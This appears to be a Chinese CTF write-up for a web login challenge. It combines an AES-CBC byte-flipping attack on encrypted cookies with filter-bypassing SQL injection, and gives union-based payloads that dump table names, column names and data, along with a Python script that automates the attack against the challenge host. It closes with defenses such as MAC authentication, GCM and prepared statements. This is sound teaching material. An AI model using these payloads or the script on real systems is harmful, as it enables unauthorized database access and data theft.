一道简单的CTF登录题题解
字数 1697 2025-08-18 11:38:08

CTF登录题解题详解:基于AES-CBC字节翻转攻击的SQL注入

题目概述

这是一道50分的Web登录题,通过率仅14%。题目提供了一个简单的登录界面,通过代码审计发现存在AES-CBC加密漏洞,结合SQL注入技术可获取flag。

关键知识点

  1. AES-CBC加密模式:使用初始向量(IV)和密钥对数据进行分块加密
  2. CBC字节翻转攻击:通过修改密文块来影响解密后的明文
  3. SQL注入绕过技巧:在严格过滤条件下的注入方法
  4. PHP序列化与反序列化:数据在加密前后的处理过程

详细解题步骤

1. 初步侦察

  • 查看网页源代码,未发现有用信息
  • 使用Burp Suite拦截请求,发现服务器返回test.php提示
  • 访问test.php获取后端源代码

2. 代码审计分析

代码逻辑流程:

  1. 提交的id参数先进行SQL注入过滤(过滤=, -, #, union, like, procedure等)
  2. 通过过滤的id会生成:
    • iv: 随机16位值,经Base64编码
    • cipher: id序列化后与SECRET_KEYiv经AES-128-CBC加密的结果
  3. 服务器将ivcipher设置到cookie并返回
  4. 若无id参数但有ivciphercookie,则进入show_homepage()函数
  5. show_homepage()解密流程:
    • Base64解码ivcipher
    • 使用SECRET_KEY进行AES-128-CBC解密得到plain
    • 尝试反序列化plain,失败则返回其Base64编码
    • 成功则拼接SQL语句:select * from users limit .$info['id'] ,0

3. 漏洞利用思路

关键SQL语句:select * from users limit .$info['id'] ,0

需要实现:

  1. 注释掉后面的,0
  2. 使id=1,构造完整语句:select * from users limit 1

限制条件

  • 过滤了常见注释符#--
  • 但第二次提交通过ivcipher时不会过滤

4. 具体攻击步骤

第一步:基本注入测试

  1. 提交id=1%00(使用空字节截断)
  2. 获取服务器返回的ivcipher
  3. 使用这些值作为cookie再次POST(不带id参数)
  4. 成功返回Hello!rootzz

第二步:CBC字节翻转攻击

利用AES-CBC模式的特性:

  1. 提交能通过过滤的语句如id=12
  2. 获取ivcipher
  3. 翻转cipher中对应id=122的字节,得到cipher_new
  4. 提交ivcipher_new
  5. 获取解密后的plain
  6. 计算新的iv_new
    iv_new = first_16_bytes ^ plain ^ iv_raw
    
  7. 提交iv_newcipher_new获取id=1#的结果

第三步:完整SQL注入

构造更复杂的注入语句,注意绕过过滤:

  • = → 用regexp代替
  • , → 用join代替
  • union → 用2nion代替(后续通过字节翻转将2改为u

具体注入流程:

  1. 获取数据库表名:

    0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);
    

    (通过字节翻转将2nion变为union

  2. 获取列名(假设目标表为you_want):

    0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);
    
  3. 获取flag:

    0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);
    

5. 自动化脚本

使用Python实现自动化攻击:

from base64 import *
import urllib
import requests
import re

def attack(payload, idx, c1, c2):
    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    payload = {'id': payload}
    r = requests.post(url, data=payload)
    
    # 获取初始iv和cipher
    Set_Cookie = r.headers['Set-Cookie']
    iv = re.findall(r"iv=(.*?);", Set_Cookie)[0]
    cipher = re.findall(r"cipher=(.*)", Set_Cookie)[0]
    
    # Base64解码
    iv_raw = b64decode(urllib.unquote(iv))
    cipher_raw = b64decode(urllib.unquote(cipher))
    
    # 字节翻转
    lst = list(cipher_raw)
    lst[idx] = chr(ord(lst[idx]) ^ ord(c1) ^ ord(c2))
    cipher_new = ''.join(lst)
    cipher_new = urllib.quote(b64encode(cipher_new))
    
    # 第一次提交修改后的cipher
    cookie_new = {'iv': iv, 'cipher': cipher_new}
    r = requests.post(url, cookies=cookie_new)
    cont = r.content
    
    # 获取解密后的plain
    plain = re.findall(r"base64_decode$'(.*?)'$", cont)[0]
    plain = b64decode(plain)
    
    # 计算新的iv
    first = 'a:1:{s:2:"id";s:'
    iv_new = ''
    for i in range(16):
        iv_new += chr(ord(first[i]) ^ ord(plain[i]) ^ ord(iv_raw[i]))
    iv_new = urllib.quote(b64encode(iv_new))
    
    # 最终提交
    cookie_new = {'iv': iv_new, 'cipher': cipher_new}
    r = requests.post(url, cookies=cookie_new)
    print(r.content)

# 示例调用
attack('12', 4, '2', '#')  # 测试基本功能
attack('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0), 6, '2', 'u')  # 联合查询测试
attack('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0), 7, '2', 'u')  # 获取表名
attack("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0), 7, '2', 'u')  # 获取列名
attack("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0), 6, '2', 'u')  # 获取数据

总结与防御建议

漏洞成因

  1. 加密后的数据验证不足,信任客户端提供的加密数据
  2. CBC模式固有的字节翻转漏洞
  3. 二次请求时缺乏与首次请求相同的过滤机制

防御措施

  1. 对加密数据使用MAC(消息认证码)验证
  2. 改用GCM等认证加密模式代替CBC
  3. 保持一致的过滤策略,无论数据来自何处
  4. 使用预处理语句防止SQL注入
  5. 对重要操作保持服务器端状态,不依赖客户端数据

学习要点

  1. 加密算法的选择和使用方式同样重要
  2. 代码审计时要关注数据流的所有路径
  3. 过滤规则的完整性检查
  4. 加密不能替代验证

这道题综合考察了加密算法理解、代码审计能力和SQL注入技巧,是一道很好的Web安全学习案例。

CTF登录题解题详解:基于AES-CBC字节翻转攻击的SQL注入 题目概述 这是一道50分的Web登录题,通过率仅14%。题目提供了一个简单的登录界面,通过代码审计发现存在AES-CBC加密漏洞,结合SQL注入技术可获取flag。 关键知识点 AES-CBC加密模式 :使用初始向量(IV)和密钥对数据进行分块加密 CBC字节翻转攻击 :通过修改密文块来影响解密后的明文 SQL注入绕过技巧 :在严格过滤条件下的注入方法 PHP序列化与反序列化 :数据在加密前后的处理过程 详细解题步骤 1. 初步侦察 查看网页源代码,未发现有用信息 使用Burp Suite拦截请求,发现服务器返回 test.php 提示 访问 test.php 获取后端源代码 2. 代码审计分析 代码逻辑流程: 提交的 id 参数先进行SQL注入过滤(过滤 = , - , # , union , like , procedure 等) 通过过滤的 id 会生成: iv : 随机16位值,经Base64编码 cipher : id 序列化后与 SECRET_KEY 、 iv 经AES-128-CBC加密的结果 服务器将 iv 和 cipher 设置到cookie并返回 若无 id 参数但有 iv 和 cipher cookie,则进入 show_homepage() 函数 show_homepage() 解密流程: Base64解码 iv 和 cipher 使用 SECRET_KEY 进行AES-128-CBC解密得到 plain 尝试反序列化 plain ,失败则返回其Base64编码 成功则拼接SQL语句: select * from users limit .$info['id'] ,0 3. 漏洞利用思路 关键SQL语句: select * from users limit .$info['id'] ,0 需要实现: 注释掉后面的 ,0 使 id=1 ,构造完整语句: select * from users limit 1 限制条件 : 过滤了常见注释符 # 和 -- 但第二次提交通过 iv 和 cipher 时不会过滤 4. 具体攻击步骤 第一步:基本注入测试 提交 id=1%00 (使用空字节截断) 获取服务器返回的 iv 和 cipher 使用这些值作为cookie再次POST(不带 id 参数) 成功返回 Hello!rootzz 第二步:CBC字节翻转攻击 利用AES-CBC模式的特性: 提交能通过过滤的语句如 id=12 获取 iv 和 cipher 翻转 cipher 中对应 id=12 的 2 的字节,得到 cipher_new 提交 iv 和 cipher_new 获取解密后的 plain 计算新的 iv_new : 提交 iv_new 和 cipher_new 获取 id=1# 的结果 第三步:完整SQL注入 构造更复杂的注入语句,注意绕过过滤: = → 用 regexp 代替 , → 用 join 代替 union → 用 2nion 代替(后续通过字节翻转将 2 改为 u ) 具体注入流程: 获取数据库表名: (通过字节翻转将 2nion 变为 union ) 获取列名(假设目标表为 you_want ): 获取flag: 5. 自动化脚本 使用Python实现自动化攻击: 总结与防御建议 漏洞成因 加密后的数据验证不足,信任客户端提供的加密数据 CBC模式固有的字节翻转漏洞 二次请求时缺乏与首次请求相同的过滤机制 防御措施 对加密数据使用MAC(消息认证码)验证 改用GCM等认证加密模式代替CBC 保持一致的过滤策略,无论数据来自何处 使用预处理语句防止SQL注入 对重要操作保持服务器端状态,不依赖客户端数据 学习要点 加密算法的选择和使用方式同样重要 代码审计时要关注数据流的所有路径 过滤规则的完整性检查 加密不能替代验证 这道题综合考察了加密算法理解、代码审计能力和SQL注入技巧,是一道很好的Web安全学习案例。